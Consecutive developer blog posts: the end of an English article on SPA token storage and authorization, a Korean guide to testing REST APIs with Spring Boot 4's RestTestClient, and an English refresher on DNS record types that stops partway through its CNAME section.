Many developers mistakenly think “Cookies are vulnerable to CSRF, so LocalStorage is better.” But security experts’ views are the opposite.

XSS’s Destructive Power:

Once tokens are stolen, attackers can call APIs and hijack accounts anytime, anywhere without user involvement
Defense is practically impossible

CSRF’s Defensibility:

Attacks are only possible when users have their browsers open
Can be defended near-perfectly with SameSite cookie policies and Anti-CSRF tokens

Conclusion: Even though CSRF risks exist (but are defensible), we should use HttpOnly cookies to prevent undefendable token theft (XSS). This is the core philosophy of the BFF pattern.

The Browser’s Future: CHIPS

Third-party cookie blocking policies have been a major obstacle to maintaining authentication for SPAs embedded in iframes (chat widgets, payment modules, etc.). To solve this, browser vendors like Google introduced CHIPS (Cookies Having Independent Partitioned State) technology.

How It Works:

Set-Cookie: session=abc123; Partitioned; Secure; SameSite=None

Adding the Partitioned attribute stores cookies in isolated storage per top-level site. Cookies for your service embedded in Site A aren’t shared with Site B. This blocks third-party tracking while allowing normal session maintenance for embedded apps.

Authorization Management: Frontend-Backend Synchronization

If authentication is about “who is this person,” authorization is about “what can this person do.” SPAs face the complex challenge of synchronizing backend authorization logic with frontend UI state.

Beyond RBAC to Permission-Centric

In the past, we simply passed role information like role: 'admin' to the frontend. But as business gets complex, this hits limitations.

For example:

“Managers can edit articles” → Simple
“Managers can only edit articles from their department” → Can’t express with role names alone

So the latest trend is delivering specific permission lists in JSON format.

Efficient Permission JSON Structure (CASL Style)

We recommend a structure compatible with the widely-used CASL library in the JavaScript ecosystem:

{
  "user": {
    "id": "u123",
    "roles": ["editor"],
    "permissions": [
      {
        "action": "read",
        "subject": "Article"
      },
      {
        "action": "update",
        "subject": "Article",
        "conditions": {
          "authorId": "${user.id}",
          "status": "draft"
        }
      },
      {
        "action": "delete",
        "subject": "Comment",
        "inverted": true
      }
    ]
  }
}

Interpretation:

Can read all Articles
Can update Articles only if author is self and status is draft
Can never delete Comments (inverted: true → Deny rule)

Synchronization Strategy

Core Principle: “Security on the server, UX on the client”

API Is the Source of Truth: Actual data access control must be performed on the API server. Frontend logic can be bypassed, so never trust it.
Synchronization Mechanism: When users log in or load pages, call an endpoint like /api/my-permissions to fetch the permission JSON.
UI Control: Store the received JSON in a global state manager like Pinia (Vue) or Context API (React). Then control the UI with custom directives or components:

<!-- Vue example -->
<button v-can="'update', post">Edit Post</button>

// React example
<Can I="create" a="Project">
  <CreateButton />
</Can>

Hide or disable buttons for users without permissions. But remember: this is just UX. Real security happens on the backend!

Conclusion and Practical Recommendations

The SPA security landscape in 2025 requires much more sophisticated architecture than before. Browser constraints are tightening, and attack techniques are becoming more advanced.

Key Takeaways

1. Adopt BFF Pattern (Top Priority) 🏆

If you’re building security-critical business applications, adopt the BFF pattern that completely removes tokens from the browser. It’s currently the only and most powerful architecture that can fundamentally prevent account hijacking via XSS.

2. Use HttpOnly Cookies

Use cookies with HttpOnly, Secure, and SameSite attributes instead of LocalStorage for token storage. Block script access to maximize security.

3. PKCE and Token Rotation (Second Best)

If BFF adoption is impossible (Serverless environments, etc.), use PKCE-based Authorization Code Flow, but always implement refresh token rotation and reuse detection mechanisms. This minimizes damage from token theft.

4. Granular Permission Synchronization

Go beyond simple RBAC to synchronize frontend-backend with Permission JSON structures including conditions. But always perform final authorization checks on the backend API!

Future Outlook

Web security will extend Zero Trust principles to the client side. Browsers will become increasingly closed environments (complete death of third-party cookies), and mastering new standard technologies like partitioned cookies (CHIPS) or Storage Access API will become essential.

Additionally, application-layer security protocols like DPoP (Demonstrating Proof-of-Possession) that bind tokens to specific clients will gradually become mainstream.

Final Thoughts

SPA security goes beyond simply “where to store tokens.” You need to embed security from the architecture design phase (Security by Design).

If you’re starting an SPA project after a while or need to improve legacy system security, bookmark this article. It’ll help when you need it! 🚀

Appendix: Quick Reference

Storage Selection Guide

Situation	Recommended Approach	Reason
Production Environment	BFF + HttpOnly Cookie	Complete XSS defense
Serverless SPA	PKCE + Token Rotation	Second best when backend unavailable
Dev/Test Environment	LocalStorage (temporary)	Convenience, but must replace before production
Embedded Widgets	CHIPS utilization	Bypass third-party cookie blocking

Spring Boot 4 REST API 테스팅, 이 글 하나로 정리하기 🧪

Wed, 14 Jan 2026 14:00:00 +0900

Spring Boot 4가 출시되면서 REST API 테스팅 방식이 또 바뀌었습니다. MockMvc는 장황하고, TestRestTemplate은 곧 사라질 예정이고, WebTestClient는 리액티브 의존성이 필요하죠. “도대체 뭘 써야 하나?” 싶으셨다면, 이 글이 답입니다. Spring Framework 7의 새로운 표준, RestTestClient를 완벽히 정리했습니다.

왜 또 새로운 테스팅 도구인가?

2025년 11월, Spring Boot 4.0과 Spring Framework 7.0이 정식 출시되었습니다. 지난 10년간 자바 웹 개발은 안정성과 확장성을 중심으로 발전했지만, 테스팅 도구는 파편화되어 있었습니다.

기존 도구들의 문제점

MockMvc: 빠르지만 장황하다

MockMvc는 서블릿 컨테이너를 띄우지 않고 DispatcherServlet을 직접 호출해서 빠릅니다. 하지만 API가 정적 빌더 패턴에 의존적이고 장황하죠.

mockMvc.perform(get("/api/books/1"))
    .andExpect(status().isOk())
    .andExpect(jsonPath("$.title").value("Spring Boot 4"));

게다가 실제 HTTP 통신을 하지 않아서 네트워크 레이어의 직렬화/역직렬화 문제나 프록시 이슈를 감지하지 못합니다.

TestRestTemplate: 곧 사라질 레거시

실제 서버를 띄워서 통합 테스트를 하는 TestRestTemplate은 RestTemplate 기반의 명령형 스타일입니다.

ResponseEntity<Book> response = restTemplate.getForEntity("/api/books/1", Book.class);
assertThat(response.getStatusCode()).isEqualTo(HttpStatus.OK);
assertThat(response.getBody().getTitle()).isEqualTo("Spring Boot 4");

ResponseEntity를 수동으로 언래핑하고 별도의 어설션 라이브러리로 검증해야 하는 번거로움이 있습니다. 게다가 Spring 6.1 이후 RestTemplate이 유지보수 모드에 진입했고, 향후 Deprecated될 예정입니다.

WebTestClient: 좋지만 의존성 문제

리액티브 스택(WebFlux)용으로 설계된 WebTestClient는 직관적인 Fluent API를 제공합니다.

webTestClient.get().uri("/api/books/1")
    .exchange()
    .expectStatus().isOk()
    .expectBody(Book.class)
    .value(book -> assertThat(book.getTitle()).isEqualTo("Spring Boot 4"));

개발자들이 좋아했지만 문제가 있습니다. Spring MVC 애플리케이션을 테스트하는데도 불필요한 리액티브 의존성(Reactor Netty 등)을 추가해야 하거나 클래스패스 충돌이 발생할 수 있습니다.

RestTestClient: 모든 문제를 해결하는 통합 인터페이스

RestTestClient는 이 모든 파편화를 해결하기 위해 설계되었습니다. 내부적으로 동기식 HTTP 클라이언트인 RestClient를 래핑하면서도, 테스트 검증을 위한 풍부한 어설션 API를 제공합니다.

가장 큰 특징: 단일 API로 모든 테스팅 시나리오를 커버합니다.

bindTo 메서드로 실행 전략(Mock vs Real Server)만 바꾸면, 요청을 구성하고 응답을 검증하는 API는 동일하게 유지됩니다.

// Mock 환경
RestTestClient client = RestTestClient.bindToController(new BookController()).build();

// 실제 서버 환경 (같은 API!)
RestTestClient client = RestTestClient.bindToServer("http://localhost:8080").build();

// 사용법은 동일
client.get().uri("/api/books/1")
    .exchange()
    .expectStatus().isOk()
    .expectBody(Book.class)
    .value(book -> assertThat(book.getTitle()).isEqualTo("Spring Boot 4"));

단위 테스트부터 E2E 테스트까지 일관된 문법으로 작성할 수 있어 학습 곡선이 낮고 테스트 코드의 가독성이 비약적으로 향상됩니다.

RestTestClient 아키텍처: 바인딩 전략이 핵심

RestTestClient의 설계 철학은 ‘유창함(Fluency)’과 ‘조합성(Composability)’입니다. 단순히 메서드 체이닝을 넘어, 테스트의 의도를 명확히 드러내는 도메인 특화 언어(DSL)에 가깝습니다.

바인딩 메서드: 실행 엔진을 선택하라

RestTestClient 인스턴스는 RestTestClient.bindToXxx() 형태의 정적 팩토리 메서드로 생성합니다. 이 바인딩 단계에서 요청을 처리할 ‘백엔드 엔진’이 결정됩니다.

바인딩 메서드	내부 처리 엔진	주요 용도	비고
`bindToController`	Standalone MockMvc	단위 테스트, 라우팅 검증	컨테이너 로딩 없음 (초고속)
`bindToMockMvc`	MockMvc Wrapper	레거시 마이그레이션, 보안 검증	기존 MockMvc 설정 재사용
`bindToApplicationContext`	Full Context MockMvc	통합 테스트, 빈 상호작용 검증	컨텍스트 로딩 필요
`bindToServer`	RestClient (Network)	E2E 테스트, 실제 HTTP 통신	실제 서버 구동 필요
`bindToRouterFunction`	RouterFunction Invoker	함수형 엔드포인트 테스트	WebFlux/MVC 함수형 스타일

이 설계는 “Write Once, Run Anywhere”처럼, 동일한 테스트 로직을 다양한 실행 환경에 적용할 수 있는 유연성을 제공합니다.

요청-교환-검증 흐름 (Request-Exchange-Assert)

RestTestClient 사용 흐름은 세 단계로 구분됩니다.

1. Request Specification (요청 명세)

HTTP 메서드, URI, 헤더, 바디를 설정합니다. RestClient API와 거의 유사합니다.

client.post().uri("/users")
    .contentType(MediaType.APPLICATION_JSON)
    .body(newUser)

2. Exchange (교환)

exchange() 메서드를 호출하여 요청을 실행하고 응답 컨텍스트로 전환합니다. 이 메서드 명명은 WebTestClient와의 통일성을 위해 선택되었습니다.

3. Response Assertion (응답 검증)

반환된 ResponseSpec을 통해 상태 코드, 헤더, 바디를 체이닝 방식으로 검증합니다.

.exchange()
    .expectStatus().isCreated()
    .expectHeader().contentType(MediaType.APPLICATION_JSON)
    .expectBody(User.class).isEqualTo(expectedUser);

바인딩 전략 심층 분석: 언제 무엇을 쓸까?

각 바인딩 전략의 내부 동작 원리와 최적 사용 시나리오를 이해해야 RestTestClient를 효과적으로 활용할 수 있습니다.

bindToController: 초고속 단위 테스트

스프링 컨테이너 전체를 로딩하지 않고, 필요한 컨트롤러 인스턴스만 등록하여 테스트합니다.

@Test
void testGetBook() {
    BookService mockService = mock(BookService.class);
    when(mockService.getBook(1L)).thenReturn(new Book(1L, "Spring Boot 4"));
    
    RestTestClient client = RestTestClient
        .bindToController(new BookController(mockService))
        .build();
    
    client.get().uri("/api/books/1")
        .exchange()
        .expectStatus().isOk()
        .expectBody(Book.class)
        .value(book -> assertThat(book.title()).isEqualTo("Spring Boot 4"));
}

동작 원리: 내부적으로 MockMvcBuilders.standaloneSetup()을 사용합니다. 스프링의 전체 빈 생명주기를 거치지 않고, 수동으로 생성된 컨트롤러 객체와 최소한의 MVC 인프라(Converter, Resolver)만 구성하여 가상의 DispatcherServlet을 구동합니다.

장점: 실행 속도가 매우 빠릅니다. 서비스 계층이나 데이터 액세스 계층을 Mockito로 모킹하여 컨트롤러 로직(요청 매핑, 파라미터 바인딩, 리턴 값 처리)에만 집중할 수 있습니다.

한계: @ControllerAdvice나 전역 필터, 보안 설정 등이 자동으로 적용되지 않으므로, 이를 테스트하려면 수동으로 추가 설정해야 합니다.

bindToMockMvc: 레거시와 모던의 가교

이미 MockMvc를 사용하여 복잡한 설정을 구축해 둔 프로젝트라면, bindToMockMvc가 가장 현실적인 마이그레이션 경로입니다.

@SpringBootTest
@AutoConfigureMockMvc
class BookControllerTest {
    @Autowired
    private MockMvc mockMvc;
    
    @Test
    void testWithSecurity() {
        RestTestClient client = RestTestClient.bindTo(mockMvc).build();
        
        client.get().uri("/api/books/1")
            .exchange()
            .expectStatus().isOk();
    }
}

동작 원리: 기존에 구성된 MockMvc 인스턴스를 RestTestClient가 감싸는(Wrapper) 형태입니다. 요청 실행은 MockMvc가 담당하고, API 인터페이스만 RestTestClient의 유창한 스타일을 사용합니다.

활용 전략: Spring Security 설정, 커스텀 필터 체인, 복잡한 인코딩 설정이 포함된 기존 MockMvc 빌더를 그대로 재사용하면서, 테스트 코드의 가독성만 개선할 수 있습니다. 특히 보안 검증 시 SecurityMockMvcConfigurers와의 호환성이 보장되므로 권장됩니다.

bindToApplicationContext: 완벽한 통합 테스트

실제 애플리케이션과 가장 유사한 환경을 Mock 기반으로 제공합니다.

@SpringBootTest
class BookIntegrationTest {
    @Autowired
    private WebApplicationContext context;
    
    @Test
    void testFullIntegration() {
        RestTestClient client = RestTestClient
            .bindToApplicationContext(context)
            .build();
        
        client.post().uri("/api/books")
            .contentType(MediaType.APPLICATION_JSON)
            .body(new Book(null, "New Book"))
            .exchange()
            .expectStatus().isCreated();
    }
}

동작 원리: @SpringJUnitConfig 또는 @SpringBootTest를 통해 로딩된 WebApplicationContext를 주입받아 전체 빈을 스캔하고 구성합니다.

Context Pausing (Spring 7 신기능): Spring Framework 7에서는 컨텍스트 캐싱 기능이 개선되어, 사용되지 않는 컨텍스트를 일시 중지(Pause)시키는 기능이 도입되었습니다. 이는 대규모 통합 테스트 슈트 실행 시 메모리 사용량을 획기적으로 줄여주며, bindToApplicationContext 사용 시의 리소스 부담을 완화해줍니다.

장점: 실제 빈들이 모두 연결되어 동작하므로, 컨트롤러에서 서비스, 리포지토리로 이어지는 데이터 흐름을 검증하기에 적합합니다.

bindToServer: 진짜 E2E 테스트

RestTestClient의 진정한 강력함을 보여주는 모드입니다. Mock이 아닌 실제 HTTP 통신을 수행합니다.

@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT)
class BookE2ETest {
    @LocalServerPort
    private int port;
    
    @Test
    void testRealServer() {
        RestTestClient client = RestTestClient
            .bindToServer("http://localhost:" + port)
            .build();
        
        client.get().uri("/api/books/1")
            .exchange()
            .expectStatus().isOk()
            .expectBody(Book.class)
            .value(book -> assertThat(book.title()).isEqualTo("Spring Boot 4"));
    }
}

동작 원리: 내부적으로 JDK HttpClient, Apache HttpClient, 또는 Jetty Client 등을 사용하는 RestClient를 통해 실제 네트워크 소켓으로 요청을 전송합니다.

비교 우위: MockMvc는 서블릿 컨테이너(Tomcat/Jetty)의 동작(필터, 에러 페이지 렌더링, 실제 HTTP 헤더 처리)을 완벽하게 모사하지 못합니다. 반면 bindToServer는 실제 서버와 통신하므로, 네트워크 타임아웃, 프록시 설정, SSL/TLS 핸드셰이크, 실제 JSON 직렬화/역직렬화 호환성 등을 완벽하게 검증할 수 있습니다.

Virtual Threads: Spring Boot 4의 Java 21+ 지원과 맞물려, bindToServer를 사용하는 테스트 클라이언트는 가상 스레드(Virtual Threads)를 활용하여 블로킹 I/O 성능을 극대화할 수 있습니다.

마이그레이션 가이드: TestRestTemplate → RestTestClient

Spring Boot 4.0으로의 업그레이드는 TestRestTemplate을 제거하고 RestTestClient로 전환하는 작업을 수반합니다. TestRestTemplate은 향후 버전에서 제거될 예정이므로 조기 마이그레이션이 권장됩니다.

의존성 관리 및 모듈화

Spring Boot 4.0은 전체 코드베이스의 모듈화를 단행했습니다. RestTestClient를 사용하려면 올바른 의존성 설정이 필수입니다.

모듈 분리: RestTestClient는 org.springframework.boot:spring-boot-resttestclient 모듈에 포함되어 있습니다. 런타임 시 동기식 HTTP 클라이언트 기능을 위해 org.springframework.boot:spring-boot-restclient 의존성이 필요합니다.

스타터 패키지: 일반적으로 spring-boot-starter-test에 포함되어 제공되지만, 특정 의존성을 제외하거나 커스텀 스타터를 구성하는 경우 명시적으로 추가해야 할 수 있습니다.

레거시 지원: 마이그레이션 과도기 동안 기존 테스트가 깨지는 것을 방지하기 위해, @AutoConfigureTestRestTemplate 어노테이션으로 기존 TestRestTemplate 빈을 활성화할 수 있습니다. 새로운 클라이언트는 @AutoConfigureRestTestClient를 통해 주입받습니다.

코드 변환 패턴

기존의 명령형 코드를 선언형 코드로 변환하는 패턴을 익히면 마이그레이션 효율이 높아집니다.

예제 1: 단순 GET 요청

Legacy (TestRestTemplate):

ResponseEntity<String> response = restTemplate.getForEntity("/api/books/1", String.class);
assertThat(response.getStatusCode()).isEqualTo(HttpStatus.OK);

Modern (RestTestClient):

client.get().uri("/api/books/1")
    .exchange()
    .expectStatus().isOk();

코드가 간결해지고, ‘요청’과 ‘검증’이 하나의 흐름으로 연결되어 가독성이 향상됩니다.

예제 2: 복잡한 JSON 응답 검증

Legacy:

Book book = restTemplate.getForObject("/api/books/1", Book.class);
assertThat(book.getTitle()).isEqualTo("Spring Boot 4");
assertThat(book.getAuthor()).isEqualTo("Expert");

Modern:

client.get().uri("/api/books/1")
    .exchange()
    .expectStatus().isOk()
    .expectBody(Book.class)
    .value(book -> {
        assertThat(book.title()).isEqualTo("Spring Boot 4");
        assertThat(book.author()).isEqualTo("Expert");
    });

value() 메서드를 통해 람다 표현식 내부에서 AssertJ를 활용하므로, 객체 추출 과정을 명시적으로 작성할 필요 없이 직관적인 검증이 가능합니다.

마이그레이션 주의사항

의존성 충돌: Spring Boot 4.0 업그레이드 시, 이전에 Deprecated되었던 메서드나 클래스가 완전히 삭제되었으므로, 3.x 버전의 최신 릴리스(3.5.x)에서 경고를 먼저 해결하고 넘어가는 것이 안전합니다.

컴파일 오류: TestRestTemplate 관련 컴파일 오류 발생 시, 테스트 스코프 의존성(spring-boot-resttestclient)이 올바르게 추가되었는지 확인해야 합니다.

제네릭 타입 처리: RestTestClient는 ParameterizedTypeReference를 지원하여 List<T>와 같은 제네릭 타입의 응답 본문을 더욱 안전하게 처리할 수 있습니다.

client.get().uri("/api/books")
    .exchange()
    .expectStatus().isOk()
    .expectBody(new ParameterizedTypeReference<List<Book>>() {})
    .value(books -> assertThat(books).hasSize(3));

보안 테스팅: CSRF와 인증 통합

Spring Security 7과 결합된 환경에서 RestTestClient를 사용하는 방법은 바인딩 전략에 따라 크게 달라집니다. 보안 테스트는 애플리케이션 무결성을 보장하는 가장 중요한 단계입니다.

MockMvc 바인딩: Mock 환경에서의 보안

bindToMockMvc 또는 bindToApplicationContext를 사용할 때, Spring Security의 필터 체인은 서블릿 컨테이너 없이 Mock 환경에서 동작합니다.

@SpringBootTest
@AutoConfigureMockMvc
class SecureBookControllerTest {
    @Autowired
    private WebApplicationContext context;
    
    @Test
    void testWithSpringSecurity() {
        MockMvc mockMvc = MockMvcBuilders
            .webAppContextSetup(context)
            .apply(springSecurity())
            .build();
        
        RestTestClient client = RestTestClient.bindTo(mockMvc).build();
        
        client.post().uri("/api/books")
            .contentType(MediaType.APPLICATION_JSON)
            .body(new Book(null, "Secure Book"))
            .exchange()
            .expectStatus().isForbidden(); // CSRF 토큰 없음
    }
}

설정 자동화: SecurityMockMvcConfigurers.springSecurity()를 MockMvc 빌더에 적용함으로써, 스프링 시큐리티 필터가 테스트 파이프라인에 통합됩니다.

CSRF 토큰 처리: RestTestClient는 Mock 환경에서 CSRF 토큰을 자동으로 주입받지 못할 수 있습니다. MockMvc의 RequestPostProcessor 기능을 활용하거나, 테스트 설정에서 CSRF를 비활성화할 수 있습니다. 가장 권장되는 방식은 bindTo 시점에 보안 설정이 완료된 MockMvc 인스턴스를 주입하는 것입니다.

Live Server: 실제 서버에서의 인증

실제 서버를 대상으로 하는 테스트에서는 모의 객체를 사용할 수 없습니다. 실제 클라이언트처럼 행동해야 합니다.

HTTP Basic Auth

client.get().uri("/secure")
    .header("Authorization", "Basic " + 
        Base64.getEncoder().encodeToString("user:pass".getBytes()))
    .exchange()
    .expectStatus().isOk();

OAuth2 및 JWT

OAuth2 리소스 서버를 테스트할 때는 유효한 JWT 토큰이 필요합니다.

Mocking 전략: 테스트용 프로파일에서 JwtDecoder를 Mock Bean으로 등록하여, 서명 검증 없이 임의의 토큰을 허용하도록 설정할 수 있습니다.

Real Token 전략: 통합 테스트 전용 계정으로 인증 서버(Keycloak 등, Testcontainers 활용 가능)에서 토큰을 발급받은 후, RestTestClient의 기본 헤더로 설정하여 테스트를 수행합니다. 이는 프로덕션 환경과 가장 유사한 검증 방식입니다.

CSRF 핸드셰이크 시뮬레이션

bindToServer 모드에서 CSRF가 활성화된 엔드포인트(POST/PUT/DELETE)를 테스트하려면 브라우저와 동일한 핸드셰이크 과정이 필요합니다.

GET 요청: 안전한 메서드로 접근하여 서버로부터 CSRF 토큰(쿠키 또는 헤더)을 수신
토큰 추출: 응답 쿠키(XSRF-TOKEN)를 추출
POST 요청: 추출한 토큰을 요청 헤더(X-XSRF-TOKEN)에 포함하여 전송

RestTestClient는 상태를 저장하지 않으므로(Stateless), 이러한 쿠키-헤더 매핑 로직을 테스트 유틸리티로 구현하여 재사용하는 것이 좋습니다.

데이터 검증: AssertJ와 JSONPath

테스트의 신뢰도는 검증(Assertion)의 정밀도에 달려 있습니다. RestTestClient는 다양한 검증 도구와의 통합을 지원합니다.

AssertJ 통합

Spring Boot 개발자들에게 익숙한 AssertJ는 가독성 높은 에러 메시지와 풍부한 API를 제공합니다.

client.get().uri("/api/books/1")
    .exchange()
    .expectBody(Book.class)
    .value(book -> {
        assertThat(book.getTitle()).startsWith("Spring");
        assertThat(book.getPages()).isGreaterThan(100);
        assertThat(book.getTags()).contains("java", "spring");
    });

단순한 값 비교를 넘어, 컬렉션의 포함 여부, 문자열 패턴 매칭 등 복잡한 비즈니스 규칙 검증에 탁월합니다.

JSONPath 활용

구조적인 JSON 데이터를 검증할 때, 객체로 매핑하지 않고 원본 JSON 구조를 직접 검사해야 할 때가 있습니다.

client.get().uri("/api/books/1")
    .exchange()
    .expectStatus().isOk()
    .expectBody()
    .jsonPath("$.title").isEqualTo("Spring Boot 4")
    .jsonPath("$.author.name").isEqualTo("Expert")
    .jsonPath("$.tags[0]").isEqualTo("spring");

$.store.book.title과 같은 경로 표현식을 사용하여 특정 필드의 존재 여부나 값을 검증합니다. 응답 스키마가 변경되었을 때 객체 매핑 에러 없이 유연하게 대처할 수 있습니다.

JsonUnit: 정교한 JSON 비교

JSON 간의 비교가 필요한 경우, JsonUnit 라이브러리와 통합하여 엄격하거나 유연한 비교를 수행할 수 있습니다. 예를 들어, 배열의 순서를 무시하거나 특정 필드(ID, Timestamp)를 무시하고 비교하는 것이 가능합니다.

Spring Boot 4 생태계 변화

Spring Boot 4의 새로운 기능들은 테스팅 환경에도 지대한 영향을 미칩니다.

Context Pausing: 메모리 효율 혁신

Spring Framework 7의 가장 혁신적인 테스팅 기능 중 하나는 컨텍스트 캐싱 메커니즘의 개선입니다.

기존에는 테스트 슈트가 실행되는 동안 로딩된 모든 ApplicationContext가 메모리에 상주하며, 백그라운드 스레드나 커넥션 풀을 점유하고 있었습니다. 이는 대규모 프로젝트에서 OOM(Out of Memory)을 유발하거나 테스트 속도를 저하시키는 원인이었습니다.

Spring 7부터는 현재 실행 중이지 않은 테스트의 컨텍스트를 ‘일시 중지(Pause)’하고, 필요시 ‘재개(Resume)’합니다. 이는 RestTestClient를 사용하는 수많은 통합 테스트들이 서로 간섭 없이, 그리고 적은 리소스로 수행될 수 있음을 의미합니다.

Virtual Threads: 블로킹 I/O의 혁명

Java 21의 가상 스레드는 블로킹 I/O 처리의 패러다임을 바꿨습니다. RestTestClient가 bindToServer 모드에서 동작할 때, 내부 RestClient는 가상 스레드 친화적인 방식으로 동작하도록 최적화되어 있습니다.

이는 다수의 외부 API 호출을 포함하는 통합 테스트 시나리오에서 스레드 고갈 없이 높은 처리량을 낼 수 있게 하며, 테스트 실행 속도 단축에도 기여합니다.

AOT 컴파일 지원

Spring Boot 4는 GraalVM 네이티브 이미지를 위한 AOT 지원을 강화했습니다. 테스팅 환경에서도 AOT 처리를 고려한 설정이 필요하며, RestTestClient는 이러한 AOT 모드에서도 문제없이 동작하도록 설계되어, 네이티브 이미지 호환성 테스트(@DisabledInAotMode 등)를 용이하게 합니다.

도구 비교: 무엇을 선택할 것인가?

프로젝트 성격에 따라 올바른 도구를 선택하는 것이 중요합니다.

특성	RestTestClient	WebTestClient	MockMvc	TestRestTemplate
기반 스택	Servlet (Sync)	WebFlux (Async)	Servlet (Mock)	Servlet (Sync)
API 스타일	Fluent (Builder)	Fluent (Builder)	Static Builder	Imperative
Mock 지원	완벽 지원 (Delegate)	지원 (Adapter 필요)	Native	지원 안 함
Live Server	완벽 지원	완벽 지원	지원 안 함	Native
리액티브 의존성	불필요	필수 (Reactor)	불필요	불필요
미래 전망	표준 (Standard)	표준 (Reactive)	백엔드 엔진화	Deprecated

시사점: RestTestClient는 MockMvc와 TestRestTemplate의 장점을 모두 흡수하고 단점을 보완한 ‘완전체’에 가깝습니다. 특히 리액티브 의존성 없이 Fluent API를 사용할 수 있다는 점은 기존 Spring MVC 프로젝트들에게 가장 큰 매력 포인트입니다.

전략적 제언

본 분석을 바탕으로 다음 전략을 제시합니다.

1. 신규 프로젝트: 무조건 RestTestClient

Spring Boot 4 기반의 신규 프로젝트는 예외 없이 RestTestClient를 기본 테스팅 클라이언트로 채택해야 합니다. 단위 테스트(bindToController)부터 E2E 테스트(bindToServer)까지 단일 API로 통일함으로써 팀 내 기술 부채를 예방할 수 있습니다.

2. 기존 프로젝트: 점진적 마이그레이션

@AutoConfigureTestRestTemplate을 활용하여 안정성을 유지하되, 신규 기능 개발 및 리팩토링 시점마다 RestTestClient로 전환하는 점진적 전략을 수립해야 합니다.

3. 바인딩 전략의 이원화

속도가 중요한 CI 파이프라인의 PR 단계: bindToController 및 bindToMockMvc를 주력으로 사용
배포 전 최종 검증 단계(Nightly Build): bindToServer를 활용한 E2E 테스트로 효율성과 신뢰성의 균형 확보

4. 보안 테스트 강화

bindToMockMvc와 SecurityMockMvcConfigurers의 조합을 통해, 단순한 기능 구현 여부를 넘어 보안 필터 체인의 빈틈없는 검증을 자동화해야 합니다.

마무리하며

RestTestClient는 단순한 도구의 교체가 아닙니다. 테스트 코드를 ‘검증해야 할 대상’에서 ‘살아있는 문서’로 변화시키는 촉매제입니다.

핵심 요약:

통합된 인터페이스: Mock과 Live Server를 단일 API로 처리
Fluent API: 선언적이고 가독성 높은 테스트 코드
바인딩 전략: 시나리오에 맞는 실행 엔진 선택
Spring Boot 4 최적화: Context Pausing, Virtual Threads, AOT 지원
마이그레이션: TestRestTemplate에서 점진적 전환

오랜만에 테스팅 코드를 작성하거나, Spring Boot 4 마이그레이션을 준비 중이라면 이 글을 북마크해두세요. 필요할 때 다시 읽어보면 도움이 될 겁니다! 🚀

부록: 빠른 참조표

주요 AssertJ 검증 패턴

검증 대상	기존 방식 (TestRestTemplate + AssertJ)	권장 방식 (RestTestClient)
상태 코드	`assertThat(resp.getStatusCode()).isEqualTo(HttpStatus.OK)`	`.expectStatus().isOk()`
헤더 존재	`assertThat(resp.getHeaders().containsKey("X-Token")).isTrue()`	`.expectHeader().exists("X-Token")`
JSON 필드	`assertThat(resp.getBody().get("name")).isEqualTo("Test")`	`.expectBody().jsonPath("$.name").isEqualTo("Test")`
객체 동등성	`assertThat(resp.getBody()).usingRecursiveComparison().isEqualTo(dto)`	`.expectBody(Dto.class).isEqualTo(dto)`

Spring Boot 4 마이그레이션 체크리스트

Java 버전이 17 이상인지 확인 (권장: Java 21 LTS)
spring-boot-starter-parent 버전을 4.0.0 이상으로 변경
spring-boot-resttestclient 의존성 추가 여부 확인 (필요 시)
기존 TestRestTemplate 테스트에 @AutoConfigureTestRestTemplate 추가
javax.* 패키지 import를 jakarta.*로 일괄 변경 (Servlet 6.1, JPA 3.2 대응)
주요 통합 테스트 시나리오 하나를 선정하여 RestTestClient로 변환 후 성능 및 가독성 비교

DNS Records - Your Memory Refresher Guide 🌐

Tue, 13 Jan 2026 10:50:00 +0900

Ever stared at your DNS settings panel and thought “Wait, what’s the difference between an A record and a CNAME again?” You’re definitely not alone. After a few weeks away from DNS configuration, all those record types start blending together. This guide will help you rebuild that mental model and understand what’s actually happening when you set up your domain.

What’s DNS Anyway?

Think of DNS (Domain Name System) as the internet’s phonebook. When you type example.com into your browser, DNS translates that human-friendly name into an IP address like 192.0.2.1 that computers actually understand.

DNS records are the individual entries in this phonebook—each one contains specific information about how to handle requests for your domain.

The Big Picture: Record Types at a Glance

Before diving deep, here’s a quick reference table you’ll want to bookmark:

Record Type	Purpose	Example
A	Maps domain to IPv4 address	example.com → 123.123.123.123
AAAA	Maps domain to IPv6 address	example.com → 2001:0db8:85a3::7334
CNAME	Creates domain alias	www.example.com → example.com
NS	Specifies authoritative nameservers	example.com → ns1.dnsprovider.com

Now let’s break these down properly.

A Record: The Foundation

The A record (Address Record) is the most fundamental DNS record. It’s what actually connects your domain name to a server’s location.

What it does: Maps a domain name directly to an IPv4 address

Why you need it: This is how browsers find your website

Example:

example.com    A    192.0.2.1

When someone types example.com into their browser, DNS looks up the A record and says “Ah, that’s at 192.0.2.1!” Then the browser connects to that IP address.

Real-World Scenario

Imagine you’re launching a new web application. You’ve got a server at 203.0.113.10 and you just registered myapp.com. You create an A record:

myapp.com    A    203.0.113.10

Now when users visit myapp.com, they’re connecting directly to your server. Simple, clean, effective.

AAAA Record: The IPv6 Cousin

The AAAA record (pronounced “quad-A”) is basically the A record’s modern sibling.

What it does: Maps a domain name to an IPv6 address

Why it exists: IPv4 addresses are running out. IPv6 solves this with a massive address space.

Example:

example.com    AAAA    2001:0db8:85a3:0000:0000:8a2e:0370:7334

A vs AAAA: The Quick Comparison

Feature	A Record	AAAA Record
IP Version	IPv4 (32-bit)	IPv6 (128-bit)
Address Format	203.0.113.10	2001:db8::1
Address Space	~4.3 billion addresses	340 undecillion addresses (yeah, that’s a real number)
Current Usage	Universal	Growing rapidly

Why You Should Care About IPv6

Here’s the thing: IPv4 addresses ran out years ago. We’re currently using various workarounds (like NAT) to keep things running, but IPv6 is the future. Major platforms—Google, Facebook, Netflix—are already fully IPv6 enabled.

Pro tip: Run both A and AAAA records. Some networks and devices prefer IPv6, while others still rely on IPv4. Having both ensures maximum compatibility.

example.com    A       203.0.113.10
example.com    AAAA    2001:db8:85a3::1

CNAME Record: The Alias Master

CNAME (Canonical Name) records create aliases. Instead of pointing to an IP address, they point to another domain name.

What it does: Creates an alias from one domain to another

Why you need it: Avoid duplicate configuration and simplify management

Example:

www.example.com    CNAME    example.com

When someone visits www.example.com, DNS says “That’s actually just example.com” and then looks up the A record for example.com.

When CNAME Shines

Scenario 1: Subdomain Management

You’re running multiple services under one domain:

www.example.com      CNAME    example.com
blog.example.com     CNAME    example.com
shop.example.com     CNAME    example.com

